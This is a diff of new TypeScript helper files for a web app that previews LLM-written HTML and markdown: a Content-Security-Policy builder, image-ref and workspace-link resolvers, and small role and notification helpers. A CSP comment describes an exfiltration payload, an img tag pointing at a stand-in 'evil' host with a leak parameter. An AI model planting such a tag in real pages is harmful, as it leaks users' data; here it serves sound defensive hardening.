"https://cdnjs.cloudflare.com",
|
|
15
|
+
"https://fonts.googleapis.com",
|
|
16
|
+
"https://fonts.gstatic.com",
|
|
17
|
+
];
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
* Build the CSP string. Split from the wrapper so tests can exercise
|
|
21
|
+
* the policy without HTML-template noise.
|
|
22
|
+
*/
|
|
23
|
+
export function buildHtmlPreviewCsp(cdns: readonly string[] = HTML_PREVIEW_CSP_ALLOWED_CDNS): string {
|
|
24
|
+
const cdnList = cdns.join(" ");
|
|
25
|
+
return [
|
|
26
|
+
"default-src 'none'",
|
|
27
|
+
// LLM-authored HTML almost always uses inline <script> blocks
|
|
28
|
+
// alongside the CDN load. No feasible path to avoid
|
|
29
|
+
// 'unsafe-inline' without rewriting every output.
|
|
30
|
+
`script-src 'unsafe-inline' ${cdnList}`,
|
|
31
|
+
`style-src 'unsafe-inline' ${cdnList}`,
|
|
32
|
+
`font-src ${cdnList}`,
|
|
33
|
+
// Images: same-origin (workspace files via /api/files/raw), CDN
|
|
34
|
+
// whitelist, plus data: and blob: for inline PNGs and dynamically-
|
|
35
|
+
// generated charts. Wildcard is deliberately avoided — an attacker
|
|
36
|
+
// who plants an <img src="https://evil/?leak="> in preview HTML
|
|
37
|
+
// could exfiltrate data via image requests even with connect-src
|
|
38
|
+
// blocked. Widen via HTML_PREVIEW_CSP_ALLOWED_CDNS if LLM output
|
|
39
|
+
// legitimately needs more hosts.
|
|
40
|
+
`img-src 'self' ${cdnList} data: blob:`,
|
|
41
|
+
// Block XHR / fetch / WebSocket so previews can't phone home or
|
|
42
|
+
// exfiltrate anything the inline scripts happen to compute.
|
|
43
|
+
"connect-src 'none'",
|
|
44
|
+
].join("; ");
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
const CSP_META_NONCE = ""; // reserved for future use (per-render nonce)
|
|
48
|
+
|
|
49
|
+
/**
|
|
50
|
+
* Inject a `<meta http-equiv="Content-Security-Policy">` tag into the
|
|
51
|
+
* HTML head. If the HTML has no `<head>`, wrap it as a full document
|
|
52
|
+
* with a synthetic head so the meta tag is honoured regardless.
|
|
53
|
+
*
|
|
54
|
+
* Pure — doesn't touch the DOM. Safe to use from both client and
|
|
55
|
+
* tests.
|
|
56
|
+
*/
|
|
57
|
+
export function wrapHtmlWithPreviewCsp(html: string): string {
|
|
58
|
+
const csp = buildHtmlPreviewCsp();
|
|
59
|
+
const meta = `<meta http-equiv="Content-Security-Policy" content="${csp}">`;
|
|
60
|
+
if (/<head\b[^>]*>/i.test(html)) {
|
|
61
|
+
return html.replace(/(<head\b[^>]*>)/i, `$1${meta}`);
|
|
62
|
+
}
|
|
63
|
+
// No <head> — treat as fragment and wrap it.
|
|
64
|
+
return `<!DOCTYPE html><html><head>${meta}</head><body>${html}</body></html>${CSP_META_NONCE}`;
|
|
65
|
+
}
|
|
@@ -0,0 +1,8 @@
|
|
|
1
|
+
import { API_ROUTES } from "../../config/apiRoutes";
|
|
2
|
+
|
|
3
|
+
/** Convert an imageData value to a displayable URL.
|
|
4
|
+
* Handles both legacy data URIs and workspace-relative file paths. */
|
|
5
|
+
export function resolveImageSrc(imageData: string): string {
|
|
6
|
+
if (imageData.startsWith("data:")) return imageData;
|
|
7
|
+
return `${API_ROUTES.files.raw}?path=${encodeURIComponent(imageData)}`;
|
|
8
|
+
}
|
|
@@ -0,0 +1,182 @@
|
|
|
1
|
+
import { marked } from "marked";
|
|
2
|
+
import type { Token, Tokens } from "marked";
|
|
3
|
+
import { resolveImageSrc } from "./resolve";
|
|
4
|
+
|
|
5
|
+
// Pre-`marked` pass that rewrites workspace-relative image references
|
|
6
|
+
// in markdown source so they render through the backend file server.
|
|
7
|
+
//
|
|
8
|
+
// Without this, a page like `` produces
|
|
9
|
+
// `<img src="../images/foo.png">`, which the browser resolves against
|
|
10
|
+
// the SPA page URL (e.g. `/chat/…foo.png`) and 404s. After this
|
|
11
|
+
// pass, the src becomes `/api/files/raw?path=images/foo.png` which
|
|
12
|
+
// the workspace file server serves.
|
|
13
|
+
//
|
|
14
|
+
// Uses marked's tokenizer to find image refs rather than a raw regex
|
|
15
|
+
// over the source. The regex approach had two problems:
|
|
16
|
+
// - URLs containing `)` (e.g. `Foo_(bar).png`) were truncated at
|
|
17
|
+
// the first close paren.
|
|
18
|
+
// - `` inside fenced code blocks or inline code spans was
|
|
19
|
+
// rewritten even though it's not meant to render as an image.
|
|
20
|
+
// The lexer handles both correctly.
|
|
21
|
+
//
|
|
22
|
+
// Callers that know the markdown file's directory (`basePath`) get
|
|
23
|
+
// correct resolution for `./` and `../` relative refs. Callers that
|
|
24
|
+
// omit `basePath` only resolve refs that are already workspace-rooted
|
|
25
|
+
// (no leading `./` or `../`); relative-with-traversal refs without
|
|
26
|
+
// context would be ambiguous, so they pass through untouched rather
|
|
27
|
+
// than silently pointing at the wrong file.
|
|
28
|
+
//
|
|
29
|
+
// Used by:
|
|
30
|
+
//
|
|
31
|
+
// - `src/plugins/wiki/View.vue`
|
|
32
|
+
// - `src/components/FilesView.vue` (when previewing a .md file)
|
|
33
|
+
// - `src/plugins/markdown/View.vue` (via post-`marked` HTML rewriter)
|
|
34
|
+
|
|
35
|
+
function shouldSkip(url: string): boolean {
|
|
36
|
+
if (url.startsWith("data:")) return true;
|
|
37
|
+
if (url.startsWith("http://") || url.startsWith("https://")) return true;
|
|
38
|
+
// Already an API route — nothing to do.
|
|
39
|
+
if (url.startsWith("/api/")) return true;
|
|
40
|
+
return false;
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
/**
|
|
44
|
+
* Resolve `url` relative to `basePath` using posix segment arithmetic.
|
|
45
|
+
* Returns the resolved workspace-relative path, or `null` if the URL
|
|
46
|
+
* escapes the workspace root (more `..` than `basePath` depth).
|
|
47
|
+
*
|
|
48
|
+
* Pure string operation — does not touch the filesystem or use Node's
|
|
49
|
+
* `path` module (this file runs in the browser).
|
|
50
|
+
*/
|
|
51
|
+
function resolveWorkspacePath(basePath: string, url: string): string | null {
|
|
52
|
+
// Absolute-within-workspace (e.g. "/images/foo.png") — reset base.
|
|
53
|
+
const isAbsolute = url.startsWith("/");
|
|
54
|
+
const baseSegs = isAbsolute ? [] : basePath.split("/").filter((s) => s !== "" && s !== ".");
|
|
55
|
+
const segs = [...baseSegs];
|
|
56
|
+
|
|
57
|
+
const urlSegs = (isAbsolute ? url.slice(1) : url).split("/");
|
|
58
|
+
for (const seg of urlSegs) {
|
|
59
|
+
if (seg === "" || seg === ".") continue;
|
|
60
|
+
if (seg === "..") {
|
|
61
|
+
if (segs.length === 0) return null;
|
|
62
|
+
segs.pop();
|
|
63
|
+
continue;
|
|
64
|
+
}
|
|
65
|
+
segs.push(seg);
|
|
66
|
+
}
|
|
67
|
+
if (segs.length === 0) return null;
|
|
68
|
+
return segs.join("/");
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
// Extract the alt-text span `[...]` from an image ref ``.
|
|
72
|
+
// CommonMark allows balanced nested brackets inside alt (`![x [y]](z)`),
|
|
73
|
+
// which a greedy regex would get wrong — scan with a depth counter and
|
|
74
|
+
// return the slice between the outermost brackets.
|
|
75
|
+
function extractBracketedAlt(raw: string): string | null {
|
|
76
|
+
if (!raw.startsWith("![")) return null;
|
|
77
|
+
let depth = 1;
|
|
78
|
+
for (let i = 2; i < raw.length; i++) {
|
|
79
|
+
const c = raw[i];
|
|
80
|
+
if (c === "[") depth++;
|
|
81
|
+
else if (c === "]") {
|
|
82
|
+
depth--;
|
|
83
|
+
if (depth === 0) return raw.slice(2, i);
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
return null;
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
function rewriteImageToken(token: Tokens.Image, basePath: string): string | null {
|
|
90
|
+
const href = (token.href ?? "").trim();
|
|
91
|
+
if (href === "" || shouldSkip(href)) return null;
|
|
92
|
+
const resolved = resolveWorkspacePath(basePath, href);
|
|
93
|
+
if (resolved === null) return null;
|
|
94
|
+
const newHref = resolveImageSrc(resolved);
|
|
95
|
+
// Preserve alt text verbatim — read from the raw so any special
|
|
96
|
+
// characters (brackets, entities) survive unmodified.
|
|
97
|
+
const alt = extractBracketedAlt(token.raw) ?? token.text ?? "";
|
|
98
|
+
if (token.title) {
|
|
99
|
+
const escapedTitle = token.title.replace(/"/g, '\\"');
|
|
100
|
+
return ``;
|
|
101
|
+
}
|
|
102
|
+
return ``;
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
function isSkippable(token: Token): boolean {
|
|
106
|
+
return token.type === "code" || token.type === "codespan" || token.type === "html";
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
function getContainerChildren(token: Token): Token[] | null {
|
|
110
|
+
const container = token as { tokens?: Token[]; items?: Token[] };
|
|
111
|
+
if (Array.isArray(container.tokens) && container.tokens.length > 0) {
|
|
112
|
+
return container.tokens;
|
|
113
|
+
}
|
|
114
|
+
if (Array.isArray(container.items) && container.items.length > 0) {
|
|
115
|
+
return container.items;
|
|
116
|
+
}
|
|
117
|
+
return null;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
// Render a container's children back into the output, preserving any
|
|
121
|
+
// structural glue the parent carries outside the children's combined
|
|
122
|
+
// raw span (list markers, blockquote prefixes, trailing newlines).
|
|
123
|
+
// Returns true if the container was rendered via its children, false
|
|
124
|
+
// if the caller should fall back to emitting the parent's raw.
|
|
125
|
+
function renderContainerChildren(raw: string, children: Token[], basePath: string, out: string[]): boolean {
|
|
126
|
+
const joined = children.map((c) => (c as { raw?: string }).raw ?? "").join("");
|
|
127
|
+
if (joined === "") return false;
|
|
128
|
+
const idx = raw.indexOf(joined);
|
|
129
|
+
if (idx < 0) return false;
|
|
130
|
+
if (idx > 0) out.push(raw.slice(0, idx));
|
|
131
|
+
for (const child of children) renderToken(child, basePath, out);
|
|
132
|
+
const tail = raw.slice(idx + joined.length);
|
|
133
|
+
if (tail) out.push(tail);
|
|
134
|
+
return true;
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
// Recursively render a token back to markdown, rewriting image refs
|
|
138
|
+
// in-place. Code / codespan / html tokens are emitted verbatim so
|
|
139
|
+
// image-ref syntax inside them stays literal. Token-tree recursion
|
|
140
|
+
// uses the lexer's structural knowledge and never crosses a skip
|
|
141
|
+
// boundary — unlike the earlier `indexOf` splice which could rewrite
|
|
142
|
+
// a code-block literal when the same ref appeared in real markdown.
|
|
143
|
+
function renderToken(token: Token, basePath: string, out: string[]): void {
|
|
144
|
+
if (isSkippable(token)) {
|
|
145
|
+
out.push(token.raw);
|
|
146
|
+
return;
|
|
147
|
+
}
|
|
148
|
+
if (token.type === "image") {
|
|
149
|
+
const replacement = rewriteImageToken(token as Tokens.Image, basePath);
|
|
150
|
+
out.push(replacement ?? token.raw);
|
|
151
|
+
return;
|
|
152
|
+
}
|
|
153
|
+
const raw = (token as { raw?: string }).raw ?? "";
|
|
154
|
+
const children = getContainerChildren(token);
|
|
155
|
+
if (children && renderContainerChildren(raw, children, basePath, out)) {
|
|
156
|
+
return;
|
|
157
|
+
}
|
|
158
|
+
out.push(raw);
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
/**
|
|
162
|
+
* Rewrite `` image refs in markdown text so workspace-
|
|
163
|
+
* relative paths render through `/api/files/raw`.
|
|
164
|
+
*
|
|
165
|
+
* @param markdown Markdown source text.
|
|
166
|
+
* @param basePath The workspace-relative directory of the markdown
|
|
167
|
+
* file (e.g. `"wiki/pages"` for `wiki/pages/foo.md`). Omit or pass
|
|
168
|
+
* `""` when resolving refs against the workspace root.
|
|
169
|
+
*
|
|
170
|
+
* Absolute URLs, data URIs, and existing API paths pass through
|
|
171
|
+
* untouched. Refs that would escape the workspace root (more `..`
|
|
172
|
+
* than `basePath` depth) also pass through untouched — they would
|
|
173
|
+
* 404 regardless, and passing through lets the user see the broken
|
|
174
|
+
* ref instead of silently re-pointing it. Image-ref syntax inside
|
|
175
|
+
* code blocks / inline code spans is left alone.
|
|
176
|
+
*/
|
|
177
|
+
export function rewriteMarkdownImageRefs(markdown: string, basePath: string = ""): string {
|
|
178
|
+
const tokens = marked.lexer(markdown);
|
|
179
|
+
const parts: string[] = [];
|
|
180
|
+
for (const token of tokens) renderToken(token, basePath, parts);
|
|
181
|
+
return parts.join("");
|
|
182
|
+
}
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
// Extract the first ATX-style H1 heading (`# title`) from a
|
|
2
|
+
// markdown string. Used by both:
|
|
3
|
+
// - server/journal/index.ts (topic row labels)
|
|
4
|
+
// - src/plugins/markdown/Preview.vue (document title)
|
|
5
|
+
//
|
|
6
|
+
// Implemented as a line walker rather than a regex so it avoids
|
|
7
|
+
// the backtracking risk that trips `sonarjs/slow-regex`. The
|
|
8
|
+
// accepted heading grammar matches the plugin's old regex
|
|
9
|
+
// `/^#\s+(.+)$/m`: `#`, at least one inline whitespace char, then
|
|
10
|
+
// non-empty content.
|
|
11
|
+
|
|
12
|
+
/**
|
|
13
|
+
* Return the trimmed text of the first H1 line, or null if none
|
|
14
|
+
* exists. An H1 is a line that starts with `#` followed by at
|
|
15
|
+
* least one whitespace char (space or tab) and at least one
|
|
16
|
+
* non-whitespace content char. `##` and deeper headings are
|
|
17
|
+
* skipped. Lines are separated by `\n`, `\r`, or `\r\n` —
|
|
18
|
+
* mirroring the old regex's `m`-flag `$` anchor which stops at
|
|
19
|
+
* either CR or LF.
|
|
20
|
+
*/
|
|
21
|
+
export function extractFirstH1(markdown: string): string | null {
|
|
22
|
+
for (const line of splitLines(markdown)) {
|
|
23
|
+
if (line.length < 2 || line[0] !== "#") continue;
|
|
24
|
+
// Second char must be inline whitespace, not another `#`.
|
|
25
|
+
// That's what excludes `## H2` / `### H3` / etc.
|
|
26
|
+
if (!isInlineSpace(line.charCodeAt(1))) continue;
|
|
27
|
+
const text = line.slice(2).trim();
|
|
28
|
+
if (text.length > 0) return text;
|
|
29
|
+
}
|
|
30
|
+
return null;
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function splitLines(s: string): string[] {
|
|
34
|
+
return s.split(/\r\n|\r|\n/);
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
function isInlineSpace(code: number): boolean {
|
|
38
|
+
return code === 0x20 || code === 0x09; // space or tab
|
|
39
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
// Pure mapping from NotificationAction → target view/session to navigate to.
|
|
2
|
+
|
|
3
|
+
import { NOTIFICATION_ACTION_TYPES, NOTIFICATION_VIEWS, type NotificationAction } from "../../types/notification";
|
|
4
|
+
|
|
5
|
+
// Views that map directly to a canvas view mode (excludes "chat"
|
|
6
|
+
// which is handled as a session navigation).
|
|
7
|
+
type CanvasNotificationView = "todos" | "scheduler" | "files";
|
|
8
|
+
|
|
9
|
+
export type NotificationTarget = { kind: "session"; sessionId: string } | { kind: "view"; view: CanvasNotificationView } | null;
|
|
10
|
+
|
|
11
|
+
/** Determine what the user should see after clicking a notification.
|
|
12
|
+
* Pure — the caller performs the actual navigation. */
|
|
13
|
+
export function resolveNotificationTarget(action: NotificationAction): NotificationTarget {
|
|
14
|
+
if (action.type !== NOTIFICATION_ACTION_TYPES.navigate) return null;
|
|
15
|
+
if (action.view === NOTIFICATION_VIEWS.chat && action.sessionId) {
|
|
16
|
+
return { kind: "session", sessionId: action.sessionId };
|
|
17
|
+
}
|
|
18
|
+
if (action.view === NOTIFICATION_VIEWS.todos || action.view === NOTIFICATION_VIEWS.scheduler || action.view === NOTIFICATION_VIEWS.files) {
|
|
19
|
+
return { kind: "view", view: action.view };
|
|
20
|
+
}
|
|
21
|
+
return null;
|
|
22
|
+
}
|
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
// Pure helpers used by FilesView to decide how to handle a click on
|
|
2
|
+
// an <a> inside rendered markdown. Kept free of DOM types so it can
|
|
3
|
+
// be exhaustively unit-tested.
|
|
4
|
+
//
|
|
5
|
+
// The two shipped functions are:
|
|
6
|
+
//
|
|
7
|
+
// - isExternalHref(href): should this click escape to the browser?
|
|
8
|
+
// - resolveWorkspaceLink(currentFile, href): resolve a markdown
|
|
9
|
+
// href to a workspace-relative path the file viewer can open.
|
|
10
|
+
|
|
11
|
+
// --- External URL detection ---------------------------------------
|
|
12
|
+
|
|
13
|
+
// Return true when `href` points at something that isn't inside the
|
|
14
|
+
// workspace (http/https/mailto/tel/custom schemes, protocol-relative
|
|
15
|
+
// URLs). The file viewer uses this to decide whether to let the
|
|
16
|
+
// default browser behaviour take over.
|
|
17
|
+
export function isExternalHref(href: string): boolean {
|
|
18
|
+
if (!href) return true;
|
|
19
|
+
// Protocol-relative (//example.com/foo) → external.
|
|
20
|
+
if (href.startsWith("//")) return true;
|
|
21
|
+
// Fast-path for the common schemes.
|
|
22
|
+
if (href.startsWith("http://") || href.startsWith("https://") || href.startsWith("mailto:") || href.startsWith("tel:") || href.startsWith("ftp://")) {
|
|
23
|
+
return true;
|
|
24
|
+
}
|
|
25
|
+
// Generic scheme detection: any "scheme:" prefix where the colon
|
|
26
|
+
// comes before the first slash is an external URL. Avoid a regex
|
|
27
|
+
// so we don't trip sonarjs/slow-regex.
|
|
28
|
+
const colonIdx = href.indexOf(":");
|
|
29
|
+
if (colonIdx > 0) {
|
|
30
|
+
const slashIdx = href.indexOf("/");
|
|
31
|
+
if (slashIdx === -1 || slashIdx > colonIdx) return true;
|
|
32
|
+
}
|
|
33
|
+
return false;
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
// --- Workspace link resolution ------------------------------------
|
|
37
|
+
|
|
38
|
+
// Given the workspace-relative path of the file currently being
|
|
39
|
+
// viewed (`currentFilePath`, e.g. "summaries/topics/refactoring.md")
|
|
40
|
+
// and the raw href of a clicked link, return the resolved workspace-
|
|
41
|
+
// relative path of the target file, or null if the link:
|
|
42
|
+
//
|
|
43
|
+
// - is external (handled by the browser instead)
|
|
44
|
+
// - is an anchor-only link (scroll, let the browser handle it)
|
|
45
|
+
// - would escape the workspace root via "../"
|
|
46
|
+
// - is empty or a pure query/fragment
|
|
47
|
+
//
|
|
48
|
+
// `#fragment` / `?query` suffixes are stripped — the file viewer
|
|
49
|
+
// only navigates by path.
|
|
50
|
+
export function resolveWorkspaceLink(currentFilePath: string, href: string): string | null {
|
|
51
|
+
if (!href) return null;
|
|
52
|
+
if (isExternalHref(href)) return null;
|
|
53
|
+
if (href.startsWith("#")) return null;
|
|
54
|
+
|
|
55
|
+
// Strip #fragment and ?query BEFORE joining so a pure-query href
|
|
56
|
+
// like "?foo=1" isn't smuggled into the current directory and
|
|
57
|
+
// resolved to the parent.
|
|
58
|
+
const cleaned = stripFragmentAndQuery(href);
|
|
59
|
+
if (cleaned.length === 0) return null;
|
|
60
|
+
|
|
61
|
+
// Workspace-absolute (starts with a single "/"): strip the slash
|
|
62
|
+
// and treat the rest as workspace-relative.
|
|
63
|
+
let joined: string;
|
|
64
|
+
if (cleaned.startsWith("/")) {
|
|
65
|
+
joined = cleaned.slice(1);
|
|
66
|
+
} else {
|
|
67
|
+
const currentDir = posixDirname(currentFilePath);
|
|
68
|
+
joined = currentDir === "" ? cleaned : `${currentDir}/${cleaned}`;
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
return normalizeWorkspacePath(joined);
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
// Drop any trailing #fragment or ?query from a path-like string.
|
|
75
|
+
// Whichever marker comes first wins.
|
|
76
|
+
function stripFragmentAndQuery(s: string): string {
|
|
77
|
+
const hashIdx = s.indexOf("#");
|
|
78
|
+
const queryIdx = s.indexOf("?");
|
|
79
|
+
let end = s.length;
|
|
80
|
+
if (hashIdx !== -1 && hashIdx < end) end = hashIdx;
|
|
81
|
+
if (queryIdx !== -1 && queryIdx < end) end = queryIdx;
|
|
82
|
+
return s.slice(0, end);
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
// If `resolvedPath` points at a chat session log (e.g.
|
|
86
|
+
// `chat/abc-123.jsonl`), return the session id. Used by the file
|
|
87
|
+
// viewer to recognise when a clicked markdown link should switch
|
|
88
|
+
// the active chat instead of opening the raw jsonl as a file.
|
|
89
|
+
//
|
|
90
|
+
// Nested paths under `chat/` (e.g. `chat/subdir/foo.jsonl`) return
|
|
91
|
+
// null — session ids cannot contain slashes, and we don't want to
|
|
92
|
+
// mis-identify unrelated files.
|
|
93
|
+
export function extractSessionIdFromPath(resolvedPath: string): string | null {
|
|
94
|
+
const CHAT_PREFIX = "chat/";
|
|
95
|
+
const JSONL_SUFFIX = ".jsonl";
|
|
96
|
+
if (!resolvedPath.startsWith(CHAT_PREFIX)) return null;
|
|
97
|
+
if (!resolvedPath.endsWith(JSONL_SUFFIX)) return null;
|
|
98
|
+
const id = resolvedPath.slice(CHAT_PREFIX.length, resolvedPath.length - JSONL_SUFFIX.length);
|
|
99
|
+
if (id.length === 0) return null;
|
|
100
|
+
if (id.includes("/")) return null;
|
|
101
|
+
return id;
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
// POSIX-style dirname. The file viewer always uses "/" separators
|
|
105
|
+
// so we don't need to worry about Windows paths.
|
|
106
|
+
function posixDirname(p: string): string {
|
|
107
|
+
const i = p.lastIndexOf("/");
|
|
108
|
+
return i === -1 ? "" : p.slice(0, i);
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
// Collapse "./" and "../" in a workspace path. Rejects paths that
|
|
112
|
+
// escape above the workspace root. Returns null for the empty-path
|
|
113
|
+
// case so the caller can bail out. Callers are expected to strip
|
|
114
|
+
// #fragment / ?query before invoking this function.
|
|
115
|
+
function normalizeWorkspacePath(p: string): string | null {
|
|
116
|
+
if (p.length === 0) return null;
|
|
117
|
+
const parts = p.split("/");
|
|
118
|
+
const stack: string[] = [];
|
|
119
|
+
for (const part of parts) {
|
|
120
|
+
if (part === "" || part === ".") continue;
|
|
121
|
+
if (part === "..") {
|
|
122
|
+
if (stack.length === 0) return null; // escape attempt
|
|
123
|
+
stack.pop();
|
|
124
|
+
continue;
|
|
125
|
+
}
|
|
126
|
+
stack.push(part);
|
|
127
|
+
}
|
|
128
|
+
if (stack.length === 0) return null;
|
|
129
|
+
return stack.join("/");
|
|
130
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
// Pure helpers that look up role metadata from a list of roles.
|
|
2
|
+
// Taking the role list as a parameter (instead of reading a Vue ref)
|
|
3
|
+
// keeps these dependency-free and unit-testable.
|
|
4
|
+
|
|
5
|
+
import type { Role } from "../../config/roles";
|
|
6
|
+
|
|
7
|
+
// Material Icon names use lowercase letters and underscores only.
|
|
8
|
+
// Custom roles may have stored an emoji or other freeform value in
|
|
9
|
+
// the icon field; fall back to a generic icon in that case so we
|
|
10
|
+
// don't render the literal text inside a Material Icons span.
|
|
11
|
+
const MATERIAL_ICON_RE = /^[a-z_]+$/;
|
|
12
|
+
|
|
13
|
+
export function roleIcon(roles: Role[], roleId: string): string {
|
|
14
|
+
const icon = roles.find((r) => r.id === roleId)?.icon ?? "star";
|
|
15
|
+
return MATERIAL_ICON_RE.test(icon) ? icon : "smart_toy";
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
export function roleName(roles: Role[], roleId: string): string {
|
|
19
|
+
return roles.find((r) => r.id === roleId)?.name ?? roleId;
|
|
20
|
+
}
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
// Pure helper for merging custom (server-loaded) roles into the
|
|
2
|
+
// built-in role list. Custom roles override built-ins with the
|
|
3
|
+
// same id, then any additional custom roles are appended.
|
|
4
|
+
|
|
5
|
+
import type { Role } from "../../config/roles";
|
|
6
|
+
|
|
7
|
+
export function mergeRoles(builtin: Role[], custom: Role[]): Role[] {
|
|
8
|
+
const customIds = new Set(custom.map((r) => r.id));
|
|
9
|
+
return [...builtin.filter((r) => !customIds.has(r.id)), ...custom];
|
|
10
|
+
}
|